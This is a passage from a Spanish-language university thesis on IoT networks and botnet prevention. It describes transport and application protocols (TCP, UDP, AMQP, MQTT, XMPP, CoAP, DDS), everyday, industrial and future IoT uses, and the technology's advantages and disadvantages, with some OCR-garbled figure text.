retransmisiones de paquetes perdidos.
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o Orientado a la conexion: se establece una conexién entre el
emisor y el receptor antes de que comience la transmision de

datos.

o Entrega ordenada: los datos se reciben en el mismo orden en que

fueron enviados.

o Control de flujo: TCP utiliza mecanismos como el windowing*®

para controlar el flujo de datos y prevenir la congestién de la red.

o Verificacién de errores: cada paquete se verifica para detectar

errores, y los paquetes corruptos se retransmiten.
Los casos de uso mas tradicionales de TCP en IoT son los siguientes:

o Aplicaciones de hogares inteligentes que requieren comunicacion
confiable entre dispositivos como termostatos y sistemas de

seguridad.

o Salud: donde la precision y la fiabilidad son criticas, por ejemplo,

transmitiendo datos vitales de pacientes a servidores medicos.

o Industrias (IloT): donde la comunicacion entre dispositivos como
sensores, actuadores y sistemas de control debe ser altamente

confiable.

e UDP: es un protocolo no orientado a la conexion, lo que significa que no
establece una sesion entre el emisor y el receptor antes de transmitir los
datos. Envia paquetes de datos (denominados datagramas) sin garantizar
su llegada ni su orden, lo que lo hace mas rapido pero menos confiable
que TCP. En resumen, se mencionan algunas de las caracteristicas que

definen a este protocolo:

o No confiable: UDP no garantiza que los paquetes se entreguen o
en el orden correcto. Si se necesita fiabilidad, es responsabilidad

de la aplicacion gestionarlo.

19 Dividir un flujo de datos continuo en subconjuntos mas pequefios para un procesamiento y
analisis mas eficientes.
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o Sin conexidén: no es necesario establecer ni mantener una
conexion entre los dispositivos, lo que reduce la sobrecarga y la

latencia.

o Transmision mas rapida: UDP tiene una menor sobrecarga en
comparacion con TCP, lo que lo hace mas rapido y eficiente en

ciertos casos.

o Sin control de flujo: UDP no tiene control de flujo ni gestion de
congestion, lo que significa que no ajusta su tasa de transmisién

segun las condiciones de la red.

Los principales usos que recibe el protocolo UDP en IoT, son los

siguientes:

o Aplicaciones en tiempo real donde la velocidad es mas importante
que la fiabilidad, como transmisién de datos de sensores,
comunicaciones de voz en dispositivos de hogar inteligente o

videovigilancia.

o Dispositivos de bajo consumo que necesitan enviar
actualizaciones pequefias y peridodicas, como monitoreo
ambiental (temperatura, humedad) donde la puntualidad de los

datos es mas importante que la perfeccion.

o Transmision de datos a multiples dispositivos en una red, como
servicios basados en ubicacibn o comunicacidn maquina a
maquina (M2M) en loT industrial, donde una gran cantidad de

dispositivos necesita recibir la misma informacion.

5.4. Capa de aplicacion

e AMQP (Advanced Message Queuing Protocol): es un protocolo estandar
abierto de mensajeria orientado a middleware?®°, disefiado para
proporcionar una comunicacion confiable, segura y eficiente entre

dispositivos y aplicaciones en entornos loT. Este permite que las

20 Software que se sitla entre un sistema operativo y las aplicaciones que se ejecutan en él.
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aplicaciones se comuniquen entre si de manera asincrona, lo que significa
que no es necesario que estén en linea y disponibles simultaneamente
para el intercambio de mensajes. Esta comunicacién asincrona es muy
util en arquitecturas de microservicios, aplicaciones en la nube y sistemas
distribuidos en general. De esta manera podemos garantizar que ninguna
solicitud se pierda por problemas de disponibilidad o errores que puedan

ocurrir.

Cuando una aplicacion envia un mensaje a otra a través de AMQP,
el mensaje no se envia directamente al destinatario, se coloca en una
cola. Esta cola es una estructura de datos que actua como un
intermediario entre el remitente y el destinatario, almacenando
temporalmente los mensajes hasta que la aplicacion receptora esté lista

para procesarlos. [17]

Publish Subscribe
( High-End )

' / Broker \ Servers
Tablets/PDAs

...............

Exchange

...............

Topic Queue 2

PC/Laptops \
_i/

n
Mobile / ................
\ Topic Queuﬂ

Publishers Subscribers

Figura 12. Arquitectura del protocolo AMQP. [4]
Algunas de las principales caracteristicas que presenta son:

o Comunicacion eficiente: permite el intercambio de mensajes entre
dispositivos sin la necesidad de una conexion dedicada,

facilitando la comunicacion eficiente en loT.
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o Estandarizacion: como protocolo estandarizado, garantiza que
dispositivos y aplicaciones se comuniquen utilizando un protocolo

comun, lo que simplifica la integracion.

o Interoperabilidad: AMQP asegura que dispositivos y aplicaciones
de diferentes proveedores puedan comunicarse, mejorando la

compatibilidad en sistemas heterogéneos.

o Confiabilidad: proporciona entrega de mensajes garantizada,
asegurando que los mensajes se entreguen correctamente y en

el orden adecuado.

o Escalabilidad: soporta el manejo de grandes volumenes de
dispositivos 'y mensajes, con caracteristicas como
almacenamiento en cola y balanceo de carga, lo que facilita la

expansion de redes loT.

o Seguridad: ofrece mecanismos de seguridad como TLS/SSL vy
autenticacion para proteger la comunicacién en aplicaciones loT

donde la seguridad es crucial.

Si bien, este protocolo es mayormente utilizado para respaldar
transacciones financieras en entidades bancarias, tiene su aplicacion en
loT desde casas inteligentes, automatizacion industrial y monitoreo de
salud a distancia. No obstante, cabe mencionar que el protocolo MQTT
cuyas caracteristicas son similares al que se esta presentando, brinda

mejores prestaciones para ser utilizado en el campo de la loT.

e MQTT (Message Queuing Telemetry Transport): se trata de un protocolo
de mensajeria ligero y basado en el modelo publicaciéon/subscripcion,
disefiado para ofrecer una comunicacion eficiente, confiable y segura
entre dispositivos y aplicaciones, especialmente en entornos loT con
recursos limitados. Este protocolo es ideal para redes restringidas,
dispositivos con bajo consumo de energia, y escenarios con ancho de
banda limitado o latencia elevada, como en aplicaciones de M2M
(Machine-to-Machine).

Pagina 28 de 101



,.y; Cs. Exactas y Naturales e Ingenieria.
SeEe

Universidad de Buenos Aires Trabajo Final de Especializacién

7 Facultades de Ciencias Econémicas, Implementacién Segura de Redes loT: Aspecto
Fundamental en la Prevencién de Generacién de Botnets

Temperature sensor MQTT Broker 31'29(‘

Ao —
s — &
31.2eC

7C

3}
o> Sl

Publish

Subsc’fbe

Device

Figura 13. Arquitectura del MQTT. [4]

El protocolo presenta las siguientes caracteristicas:

o Ligereza y bajo consumo de energia: MQTT es especialmente
adecuado para dispositivos loT con bateria limitada, ya que utiliza
pequeios paquetes de datos y un protocolo optimizado para

redes de bajo ancho de banda.

o Modelo publicacion/suscripcion: los dispositivos  publican
mensajes a un broker (intermediario), que los distribuye a los

suscriptores interesados en esos mensajes.

o Escalabilidad: MQTT puede conectar grandes cantidades de
dispositivos, lo que lo hace ideal para aplicaciones loT a gran

escala.

o Fiabilidad: garantiza la entrega de mensajes incluso en presencia
de fallos de red, utilizando diferentes niveles de calidad de servicio
(QoS).

o Seguridad: ofrece opciones de seguridad como autenticacion,
encriptacion y control de acceso, asegurando que solo los

dispositivos autorizados puedan enviar o recibir mensajes.

No obstante, debe mencionarse que presenta ciertas limitaciones

lo que no lo convierte en adecuado para aplicaciones en tiempo real que

requieren respuestas inmediatas o transferencia de grandes cantidades
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de datos. Asimismo, su principal enfoque es la mensajeria ligera, por lo
que no es ideal para aplicaciones que manejan grandes volumenes de

informacion.

Por otro lado, es fundamental hacer mencién de la funcion bréker
(intermediario) del protocolo MQTT. Este es el componente central que
gestiona las comunicaciones entre los dispositivos y las aplicaciones. Sus
funciones principales incluyen las de aceptar conexiones de los
publicadores y suscriptores; administrar temas y suscripciones; filtrar,
enrutar y entregar mensajes; manejar la autenticacion y autorizacion de

clientes; y monitorear el trafico de mensajes.

Entre las principales aplicaciones de MQTT se pueden mencionar:

o Automatizacion industrial: comunicacion entre sensores,
actuadores y sistemas de control para supervisar y controlar

procesos y maquinas.

o Automatizacién de hogar y edificios inteligentes: comunicacion
entre dispositivos como termostatos inteligentes, sistemas de

iluminacion y seguridad.

o Salud: transmision de datos de dispositivos médicos y sistemas
de monitoreo de pacientes a aplicaciones de salud para analisis y

diagndstico.

o Transporte: recopilacién de datos sobre condiciones de trafico,
rendimiento de vehiculos y comportamiento del conductor para

optimizar el flujo de trafico.

o Energia y servicios publicos: monitoreo de consumo de energia
mediante medidores inteligentes y sistemas de gestion de

energia.

o Agricultura: monitoreo de factores ambientales como la humedad
del suelo y la temperatura para optimizar procesos agricolas como
riego y fertilizacion. [4]
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o XMPP (Extensible Messaging and Presence Protocol): Es un protocolo de
comunicacion basado en XML utilizado en loT para la comunicacion en
tiempo real entre dispositivos y aplicaciones. Originalmente disefado para
mensajeria instantanea, ha sido adaptado para loT, permitiendo el envio
de mensajes, la gestion del estado de los dispositivos, y la comunicacion
entre diferentes servidores XMPP a través de una asociacion (o
friendship), la cual implica una subscripcion mutua para aceptar las

actualizaciones en ambos sentidos de la misma.

XMPP funciona bajo una arquitectura cliente-servidor, donde los
mensajes se envian desde el cliente a un servidor, que luego los redirige

al destinatario adecuado.

Direct Client-Client Communication
C— e e e e m - - - - »
Client » _ v Client
ko Stanza
\\ I/

] ¥ Plugins . :
Client ¢__ \‘ . ,* =% Client
~a. k .-

: XMPP Server ¢ ------- » XMPP Server 4 -~
. ¥
Client v I “~. Client

AMER Component

Figura 14. Arquitectura del XMPP. [4]
El protocolo presenta como principales beneficios:
o Comunicacion en tiempo real entre dispositivos y aplicaciones.

o Mensajeria para el intercambio de informacion y alertas.

o Presencia, indicando la disponibilidad y estado de los dispositivos.

o Escalabilidad, permitiendo manejar un gran numero de

dispositivos y mensajes.
o Seguridad, con mecanismos de cifrado y autenticacion.

o Estandarizacién, asegurando la interoperabilidad entre

dispositivos y aplicaciones.
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e CoAP (Constrained Application Protocol): es un protocolo de transferencia
web disefiado para dispositivos y redes con recursos limitados, como las
que se encuentran en aplicaciones loT. CoAP es especialmente adecuado
para dispositivos con poca memoria y potencia, y se utiliza sobre UDP
para minimizar la sobrecarga, lo que lo hace eficiente en cuanto a ancho

de banda y consumo de energia.
Algunas de las caracteristicas principales de CoAP son:

o Modelo Cliente-Servidor: los dispositivos pueden actuar como

clientes que solicitan recursos o servidores que los proporcionan.

o Operaciones CRUD: similar a HTTP (Hypertext Transfer Protocol),

permite crear, leer, actualizar y eliminar recursos.

o Observacion de recursos: los clientes pueden suscribirse a
recursos y recibir notificaciones sobre cambios, lo que es util para

aplicaciones en tiempo real.

Las principales ventajas que ofrece son un alta eficiencia ya que

usa UDP para reducir la sobrecarga y permite escalabilidad.

Rest

http:/i ﬁ

Client

http:li

The Internet Constrained Environment

Figura 15. Arquitectura del CoAP. [4]

e DSS (Data Distribution Service): es un protocolo de tipo
publicacion/suscripcion creado para sistemas de tiempo real que permite
compartir datos con control de calidad de servicio. Las aplicaciones se

comunican mediante la publicacion y suscripcion a temas identificados por
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su nombre de tema. Las suscripciones pueden especificar filtros de
tiempo y contenido y obtener solo un subconjunto de los datos que se
publican en el tema. Los diferentes dominios DDS son completamente
independientes entre si, no compartiéndose datos directamente entre
dominios DDS. [18]

QoS QoS

DATA DA
WRITER READER
DATA onr g
READER
WRITER \ s QoS /

Topic B
A [oPICAT TopicA pLep / — = QoS
READER
DATA
DDS DOMAIN ,
_ DATA i
QoS gos smmdll READER

N TopicC

WRITER
DATA

DATA
WRITER

DATA
READER

A modo de resumen, a continuacion se presentan algunos de los

Figura 16. Arquitectura del DDS. [18]

protocolos de la capa de aplicacion con sus principales caracteristicas:

Ambitode  Conocimiento Datos Prioridad de los
Transporte Seguridad Tolerancia a fallos
- aplicacion  del contenido  principales datos
02D
Int bio d j Especifica de|
AMOP TCR/IP Tereambio gg mensajes Dac Ningunao Codificados TLS Ninguno . speciica E. 'a
punto a punto implementacién
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micast) Peticion/Respuesta contenido, | codificados DD5 transporte
TCp/Ip cc consultas
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Figura 17. Tabla comparativa de algunos protocolos de capa de aplicacion de loT. [19]
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6. Principales escenarios actuales y futuros

Actualmente la tecnologia loT es ampliamente utilizada tanto en
actividades cotidianas como en entornos industriales. Se presentaran los
principales usos de acuerdo con el ambiente en el que se desempeian.
Posteriormente, se describiran las actividades para las cuales sera utilizada esta

tecnologia en un futuro préximo.
6.1. loT en actividades cotidianas

Dentro del ambito hogarefio y del uso doméstico por parte de los usuarios,
las casas inteligentes y los dispositivos portatiles con conexion a internet son los

mas populares:

e Casas inteligentes: la evolucion de la tecnologia loT tiene un gran
impacto en como las personas interactian en sus entornos
domésticos, transformando las casas convencionales en hogares
inteligentes. Esto se produce gracias a la interconectividad de diversos
dispositivos y electrodomésticos a través de internet, lo que permite
funcionalidades automatizadas y controladas de forma remota que

mejoran el confort, la eficiencia energética y la seguridad.

Uno de los ejemplos mas populares del IoT en hogares
inteligentes, es el control automatico de la temperatura a través de
ciclos de calefaccion y refrigeracion para maximizar el confort y
minimizar el consumo de energia. Otra de las caracteristicas
fundamentales que presenta, es que se permite a los usuarios
controlar estos dispositivos de forma remota mediante aplicaciones en
sus teléfonos, lo que les posibilita ajustar la temperatura de la casa en
cualquier momento, ya sea estando dentro de la casa o desde

cualquier parte del mundo.

Por otro lado, los modernos sistemas de seguridad para casas
inteligentes incluyen una variedad de dispositivos conectados a
internet como camaras, detectores de movimiento y sensores de

puertas. Esta conectividad permite a los propietarios monitorear su
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propiedad de forma remota a través de transmisiones de video en vivo,
recibir alertas cuando se detecta actividad sospechosa e incluso
controlar las cerraduras de las puertas de manera remota. Por
ejemplo, si un propietario se da cuenta de que olvido cerrar la puerta,
puede hacerlo desde su teléfono mévil, sin importar su ubicacion fisica.
[12]

Otra de las funcionalidades que provee IoT en el marco del
hogar, es el control automatico de la iluminacion. Ya sea desde el
encendido y apagado de los leds cuando las personas se encuentran
en un determinado ambiente y luego dejan de estarlo, como el manejo
automatico de la intensidad de la luz en funcién de la iluminaciéon que

proviene del exterior.

Actualmente se esta haciendo popular también la posibilidad
de contar con un asistente virtual, al que se le conectan todos los
dispositivos loT de la casa, y se permite su control de manera remota
a través de comandos de voz. Un ejemplo concreto, es la utilizacion

de Alexa (propiedad de Amazon) para realizar tal accion.

ASS SRS SNY
|RRL\auun
ES S SAENC TN

Smart Home

&

Figura 18. Escenario tipico de loT en los hogares. [4]

e Dispositivos portatiles: La tecnologia portatil ha experimentado un
aumento en popularidad, impulsada principalmente por aspectos

vinculados a la salud y el bienestar. Estos dispositivos, que van desde
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rastreadores de actividad deportiva hasta relojes inteligentes, fusionan
tecnologia de vanguardia con actividades humanas diarias para

fomentar estilos de vida mas saludables y mejorar la comunicacion.

Los rastreadores de salud, por ejemplo, se encuentran entre
las tecnologias portatiles mas prevalentes. Estos dispositivos
monitorean una serie de métricas fisiolégicas como la frecuencia
cardiaca, los patrones de suefo y los niveles de actividad fisica. Los
modelos avanzados incluso pueden detectar ritmos cardiacos
irregulares y otros posibles problemas de salud, lo que motiva a los
usuarios a buscar asesoramiento médico cuando se detectan
anomalias. Los datos en tiempo real recopilados a menudo se
sincronizan con aplicaciones moviles o plataformas en linea, lo que
permite a los usuarios seguir su progreso con el tiempo, establecer
metas personales y compartir logros con amigos o comunidades en

linea.

Por otro lado, los relojes inteligentes funcionan como
extensiones del teléfono inteligente, permitiendo a los usuarios
gestionar notificaciones, responder mensajes e incluso hacer llamadas
directamente desde su mufieca. Ademas de seguir la salud y el estado
fisico, estos relojes se estan utilizando cada vez mas para realizar
pagos, navegacion GPS e incluso control remoto de dispositivos loT

del hogar.

La ropa inteligente equipada con sensores, por ejemplo, ofrece
a los atletas retroalimentacion en tiempo real sobre métricas de
rendimiento como la postura, la longitud de los pasos y la actividad
muscular. Innovaciones como los lentes y los audifonos inteligentes
estan integrando realidad aumentada y asistentes virtuales para
mejorar tanto las actividades laborales como las de ocio, demostrando

que el potencial de los dispositivos |oT personales es vasto y variado.
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6.2. loT en entornos industriales y organizaciones

A continuacién se describiran los principales usos de la tecnologia loT en

sector industrial:

Industrial loT (IloT): este tecnologia representa un gran cambio en la
manera en la que operan las industrias, haciendo uso de dispositivos
conectados a internet y analisis avanzados para optimizar la
produccion, aumentar la eficiencia y minimizar los tiempos de
inactividad. Esta transformacion es especialmente notable en sectores
como la manufactura, la logistica y la agricultura, donde el lloT no solo
esta mejorando los procesos, sino también redefiniendo el potencial

de estas industrias.

En la manufactura, en las instalaciones se integran diversos
sensores, maquinas y herramientas de analisis para monitorear y
automatizar los procesos de produccion. Esto permite tener un mayor
grado de personalizacién, ya que las lineas de produccién pueden
ajustarse dinamicamente en funcién de los datos en tiempo real sobre
la demanda y suministro favoreciendo operaciones mas flexibles y
eficientes. Adicionalmente, los sensores recopilan datos directamente
de la maquinaria para monitorear su rendimiento y estado salud,

permitiendo predecir posibles fallos antes de que ocurran, lo que
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permite un mantenimiento predictivo. Esta capacidad reduce
significativamente los tiempos de inactividad no planificados y extiende

la vida util de los equipos.

La logistica, por su parte, se beneficia de una mayor
trazabilidad y eficiencia. Dispositivos como los rastreadores GPS y las
etiquetas RFID ayudan a gestionar y monitorear la ubicacion y el
estado de las mercancias a lo largo de la cadena de suministro. Esto
permite a las empresas optimizar las rutas, reducir los costos de
transporte y mejorar la velocidad de las entregas. Adicionalmente, el
lloT ayuda en la gestidn de inventarios, automatizando los controles
de existencias y los procesos de reposicion, lo que minimiza el riesgo

de contar con stock?! excedente o desabastecimiento.

En el ambito de la agricultura, el lloT esta revolucionando las
practicas agricolas tradicionales mediante la agricultura de precision.
Los sensores desplegados en los campos miden diversos parametros
ambientales como la humedad del suelo, la temperatura y la salud de
los cultivos. Estos datos se utilizan luego para automatizar y controlar
de manera precisa actividades como el riego, la fertilizacién y la
aplicaciéon de pesticidas, asegurando que los -cultivos reciban

exactamente lo que necesitan para un crecimiento éptimo.

Los drones y vehiculos autbnomos mejoran aun mas estas
capacidades al proporcionar imagenes aéreas a gran escala y realizar
tareas como la siembra o la cosecha. Este nivel de precisiéon no solo
aumenta los rendimientos y la calidad de los cultivos, sino que también
reduce significativamente el desperdicio de recursos, apoyando
practicas agricolas mas sostenibles.

21 Existencias de productos.
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Figura 20. Escenario tipico de loT en la agricultura. [4]

El impacto del lloT en estos sectores muestra su potencial no
solo para agilizar las operaciones, sino también para crear sistemas
mas inteligentes y receptivos que puedan adaptarse a nuevos desafios
y oportunidades. A medida que las industrias continuan adoptando el
lloT, se espera que la integracion de tecnologias inteligentes se
profundice, impulsando una mayor eficiencia y generando nuevas
posibilidades para la innovacion y el crecimiento en el sector industrial.
[12]

e |oT en la salud: el impacto de IoT en la atencion médica (también
llamado IoMT, Internet de las Cosas Médicas) ha sido revolucionario,
reformulando cdmo se brinda la atencién, mejorando los resultados de
los pacientes y optimizando las operaciones dentro de las
instalaciones de salud. Se incluye una amplia variedad de
aplicaciones, como sistemas de monitoreo de pacientes, dispositivos

médicos inteligentes y gestidén remota de la salud.

Una de las aplicaciones mas importantes es el monitoreo de
pacientes, donde a través de equipamiento con sensores que poseen
los mismos, se puede recopilar de manera continua datos vitales de
salud, como la frecuencia cardiaca, la presion arterial, los niveles de

glucosa y la saturacién de oxigeno de los pacientes. Estos datos
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pueden ser transmitidos en tiempo real a los proveedores de atencion
meédica, quienes pueden monitorear las condiciones de los pacientes
de manera remota, permitiendo intervenciones oportunas antes de que

las condiciones empeoren.

La integracion del 10T en la atencion médica también plantea
desafios, especialmente en lo que respecta a la seguridad de los datos
y la privacidad. El enorme volumen de datos sensibles de salud que
se transmiten y almacenan aumenta el riesgo de brechas y accesos
no autorizados. Por lo tanto, son esenciales medidas de
ciberseguridad robustas para proteger los datos de los pacientes y

garantizar el cumplimiento de los requisitos regulatorios.

e |oT en comercios minoristas: el sector minorista esta paulatinamente
incrementado la inclusién de IoT para transformar diversos aspectos
de sus operaciones, especialmente en la gestion de inventarios y la
mejora de la experiencia del cliente. Las tecnologias |oT, a través de
la integracion de sensores, etiquetas RFID y analisis avanzados de
datos, estan proporcionando a los minoristas niveles de eficiencia e

informacion sin precedentes.

En la gestion de inventarios, los dispositivos IoT juegan un
papel crucial en la optimizacion de la cadena de suministro y la
garantia de disponibilidad de productos. Las etiquetas RFID y los
sensores, por ejemplo, se utilizan para rastrear productos a lo largo de
la cadena de suministro en tiempo real. Esto permite a los minoristas
reducir los casos de desabastecimiento y excesos de stock,
situaciones que son costosas y perjudiciales para las operaciones
comerciales. Al saber exactamente donde se encuentran los articulos
en la cadena de suministro, los minoristas pueden optimizar sus

niveles de inventario e incluso automatizar los procesos de reposicion.

Adicionalmente, los datos de loT permiten el analisis predictivo,

lo que puede prever patrones de demanda futuros basados en datos
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historicos, tendencias actuales del mercado y otros factores externos

como el clima o las condiciones econémicas.

Mas alla del seguimiento de inventarios, los dispositivos loT
también mejoran la experiencia en la tienda para los clientes. Las
estanterias inteligentes equipadas con sensores de peso y tecnologia
RFID pueden notificar a los empleados de la tienda cuando los
productos se estan agotando o cuando una estanteria necesita ser
reorganizada. Esto asegura que los productos estén siempre
disponibles para los clientes y exhibidos de manera ordenada,

mejorando la experiencia general de compra.

e |oT en los vehiculos: en el sector automotriz, el loT ha tomado una
gran relevancia sobre todo en el caso de los coches autonomos. Los
mismos se conectan a internet para disponer de un mapa de
navegacion actualizado, contar con novedades en la ruta (desvios,
colisiones, alertas, etc.) y siempre disponer de la ruta mas eficiente

para llegar a destino.

Por otro lado, para su autoconduccion, cuenta con una gran
cantidad de sensores y camaras que les permite identificar
correctamente la pista por donde deben circular, discernir cuando
deben girar, frenar y acelerar. Actualmente, ya se pueden observar
también taxis de este tipo, que ya no cuentan con un conductor, sino
que el auto se autoconduce para llegar al destino que el pasajero

solicita.
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Figura 21. Escenario tipico de loT en sector automovilista. [4]
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6.3. Usos futuros de loT

Tal como se menciond en secciones previas, la utilizacion de loT esta
creciendo exponencialmente, de lo que se puede inferir que las aplicaciones en
un futuro préximo podrian cubrir una vasta cantidad de posibilidades. No
obstante, a continuacion se mencionaran aquellas implementaciones que ya se
encuentran en proceso de desarrollo y que en los préximos afios sera posible

verlas en funcionamiento:

e Ciudades inteligentes: las ciudades inteligentes podrian generarse a
través de la utilizacion de tecnologias avanzadas como sensores loT, la
computacién en la nube, el analisis de datos y el aprendizaje automatico
para mejorar la infraestructura y los servicios urbanos, haciéndolos mas
eficientes, sostenibles y habitables. El objetivo principal de las ciudades
inteligentes es mejorar la calidad de vida de los ciudadanos
proporcionando mejores servicios, reduciendo costos y optimizando los
recursos. A continuacion, se presentan algunos de los ejemplos sobre

como loT podria emplearse en este contexto:

o Gestion del Trafico: los sensores pueden monitorear el flujo de
trafico en tiempo real, proporcionando datos a los sistemas de
gestion de trafico para optimizar las rutas, reducir la congestion y
mejorar la seguridad. Los semaforos inteligentes podrian ajustar
el tiempo de las sefiales segun el volumen de trafico, y los
sistemas de estacionamiento inteligentes pueden guiar a los
conductores a los espacios de estacionamiento disponibles,

reduciendo la congestion vehicular.

o Gestidon de Residuos: los sensores podrian monitorear los niveles
de llenado de los contenedores de basura, optimizando el proceso
de recolecciéon y reduciendo el costo de la recoleccion de

residuos.

o Gestidén Energética: los sensores podrian monitorear el consumo

de energia en edificios y otras infraestructuras urbanas,
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proporcionando datos en tiempo real para optimizar el consumo

de energia, reducir costos y disminuir las emisiones de carbono.

o Seguridad Publica: los sensores podrian monitorear espacios
publicos, detectando posibles peligros de seguridad, como

incendios, inundaciones y delitos.

o Monitoreo Ambiental: los sensores podrian monitorear factores
ambientales como la calidad del aire, la calidad del agua y los
niveles de ruido, proporcionando datos en tiempo real a las

autoridades de la ciudad.
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Figura 22. Escenario tipico de loT en ciudades inteligentes. [4]
En general, las ciudades inteligentes representan una oportunidad

significativa para crear entornos urbanos mas sostenibles, eficientes y
habitables.

e Integracion de IA en loT: la inteligencia artificial (en adelante, IA) esta
preparada para mejorar significativamente las capacidades de los
sistemas loT, transformandolos de simples recolectores de datos en
poderosas herramientas de toma de decisiones con funciones cognitivas
avanzadas. A esta fusion de la |A con loT, se la denominé como Artificial
Intelligence of Things (AloT), y se presume que a medida que la IA

continue evolucionando, su integracién en las redes loT redefinird cémo
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estos dispositivos van a interactuar con su entorno y como cada vez

tomaran decisiones de una manera mas autbnoma.

Intelligent
Things Artificial
Thin
98 Intelligence
AloT
Internet Intelligent
of Things Internet

Internet

Figura 23. Conformacién de la AloT. [20]

En el sector minorista, la combinacion de IA e loT podria generar
nuevas posibilidades para experiencias de compra personalizadas. Los
dispositivos loT equipados con capacidades de |IA pueden recopilar y
analizar datos de las interacciones de los consumidores y de los sensores

ambientales dentro de una tienda en tiempo real.

En las futuras ciudades inteligentes, la IA podria ayudar a analizar
los datos de varios sensores para gestionar el flujo de trafico, reducir el

consumo de energia y mejorar la seguridad publica.

En el sector de la salud, los dispositivos IoT impulsados por IA
podrian monitorear las condiciones de los pacientes en tiempo real y a
través de un analisis avanzado de patrones, ajustar los tratamientos
segun sea necesario sin intervencion humana, incluso, permitiendo
predecir posibles complicaciones futuras para poder anticiparse y

evitarlas.

e |oT en blockchain: una de las principales ventajas de integrar blockchain

con loT es la capacidad de crear un registro transparente y auditado de
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las transacciones de datos. Cada transaccion de datos registrada en
blockchain estara vinculada criptograficamente a transacciones
anteriores, formando una cadena de bloques que no puede ser alterada
ni eliminada sin el consenso de los participantes en la red. Esto asegura
que los datos recopilados de los dispositivos |[oT permanezcan seguros e

inviolables, mitigando el riesgo de acceso no autorizado o manipulacion.

La integracion de la tecnologia blockchain con loT tiene el potencial
de revolucionar la forma en que se recopilan, gestionan y comparten los
datos en diversas industrias, particularmente en la gestion de la cadena
de suministro. Al proporcionar una plataforma segura, transparente y
descentralizada para registrar y verificar las transacciones de datos de
loT, blockchain mejorara la confianza, la responsabilidad y la eficiencia en

todo el ecosistema de la cadena de suministro.

e Monitoreo del medio ambiente: tal como se mencion6 en el desarrollo de
ciudades inteligentes, el loT también podria utilizarse para el monitoreo
ambiental de todo el planeta, tomando informacién a través de los distintos
sensores, que van desde la calidad del aire hasta los niveles de agua en
rios y embalses. Estas aplicaciones pueden ayudar a combatir la
degradacion ambiental y proporcionar los datos necesarios para abordar
la contaminacién y el cambio climatico. Con los avances en los sensores
y dispositivos loT, el monitoreo ambiental en tiempo real puede volverse
mas generalizado, ofreciendo datos precisos para informar las politicas

publicas y las practicas corporativas.

e |oT y5G: el despliegue de la tecnologia 5G esta preparado para potenciar
las capacidades de loT con una mayor velocidad, menor latencia y mayor
conectividad. El 5G permitira una nueva generacion de aplicaciones de
loT, incluyendo infraestructuras de ciudades inteligentes mas sofisticadas
y confiables, aplicaciones mejoradas de loT en la agricultura para
monitorear y gestionar cultivos, y mejoras en la telemedicina, donde la

transmision instantanea de datos puede salvar vidas. [12]
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e Robots domésticos: Los robots funcionaran como asistentes personales,
capaces de gestionar horarios, proporcionar recordatorios e incluso
ofrecer compania. Ayudaran con una variedad de tareas, desde la
planificacion diaria hasta situaciones de emergencia y desempefiaran un
papel importante en el monitoreo de la salud y el bienestar de los
residentes, proporcionando recordatorios para la medicacion, ayudando

con ejercicios y alertando a los cuidadores en caso de emergencias.

Por otro lado, se encargaran de una amplia gama de tareas
domeésticas, desde la limpieza y la lavanderia hasta la jardineria y el
mantenimiento del hogar, reduciendo la carga para los propietarios. La
integracion con electrodomésticos inteligentes permitira que los robots
gestionen tareas como la cocina, el lavado de platos y la gestidon de

inventarios en la cocina.

En cuanto a la seguridad, los robots equipados con sensores
avanzados y camaras proporcionaran vigilancia mejorada, siendo

capaces de patrullar el hogar, identificar intrusos y notificar a los

propietarios o a las autoridades. [21]

Figura 24. Robots Optimus (Tesla). [22]
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7. Ventajas y desventajas

La utilizacion de la tecnologia loT, si bien presenta una serie de beneficios,
al mismo tiempo presenta algunas caracteristicas que pueden impactar
negativamente en el ambito organizacional y en la sociedad, sobre todo, en lo

que respecta a la seguridad de la informacion.

En cuanto a las ventajas se pueden mencionar las siguientes:

e Tecnologias mas avanzadas: la tecnologia |oT ha evolucionado
significativamente en los ultimos afos, esto implica que las empresas
pueden hacer uso de una tecnologia que posee: un procesamiento de
mayor potencia para manejar mayores necesidades de datos y ancho de
banda, mayores capacidades de almacenamiento, baterias mas

pequefias y de mayor duracion, y analisis mas avanzados (utilizando |A).

e Menores costos operativos: una flota de dispositivos loT puede ser
rentable porque ayuda a las empresas a optimizar sus flujos de trabajo y
reducir los costos operativos al proporcionar informacién en tiempo real.
Los dispositivos pueden avisar proactivamente sobre su estado para que
el personal pueda programar el mantenimiento antes de que afecte la
produccion. También pueden integrarse en sistemas mas grandes para

optimizar la eficiencia operativa y ayudar a reducir costos.

e Mayor productividad: los dispositivos loT pueden gestionar, monitorear y
alertar al personal sobre cambios en los procesos o en la productividad,

ayudandoles a tomar decisiones mas inteligentes sobre el trabajo.

e Perspectivas comerciales mas avanzadas: los dispositivos loT ayudan a
las organizaciones a recopilar datos para identificar informacion valiosa

sobre su negocio, tanto interna como externa.

e Mejores experiencias para el cliente: los dispositivos loT ayudan a las
empresas a rastrear, monitorear, descubrir y analizar los datos de los
clientes mas rapido que antes. Las empresas pueden predecir cambios o

tendencias en el comportamiento del cliente antes de que ocurran.
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e En el ambito personal y hogarefio, se presenta un serie de beneficios
como el tracking de los parametros de salud y la mejora en el confort y la

seguridad.
Por otro lado, presenta las siguientes desventajas:

e Desafios de seguridad y privacidad de datos: aunque la ciberseguridad es
una prioridad alta, los dispositivos loT no siempre se incluyen en la
estrategia de seguridad. Estos deben ser protegidos contra
manipulaciones fisicas, ataques de software basados en Internet, ataques
a la red y ataques basados en hardware. La privacidad de los datos es
otra preocupacion, especialmente porque los dispositivos loT se estan
utilizando en industrias mas sensibles, como la salud y las finanzas.
Integrar medidas de encriptacion y seguridad con dispositivos loT puede

ser dificil cuando se trata de una flota grande de dispositivos.

e Tecnologia oculta: implementar dispositivos I0T en cualquier empresa
puede tener una curva de aprendizaje considerable. Tiene sentido
desarrollar una estrategia sobre cémo y por qué implementarlos antes de
su adopcion. De esa manera, las empresas pueden asegurarse de que

estén funcionando como se espera y que sean facilmente compatibles.

e Desafios de gestion del cambio en IoT: las empresas tienden a considerar
el IoT solo como una tecnologia y no tienen en cuenta las implicaciones
que tiene sobre los procesos empresariales. Esto significa que a menudo
dejan la implementacion y el mantenimiento exclusivamente a los equipos

de TI, sin considerar los efectos legales, industriales o internos.

¢ Dependencia de conectividad y energia: muchos dispositivos dependen
de una conexion continua a la energia o a internet para funcionar
correctamente. Cuando cualquiera de estos se interrumpe, los
dispositivos y todo lo que esta conectado a ellos también dejan de
funcionar. Por lo tanto, las empresas deben comprender como los cortes
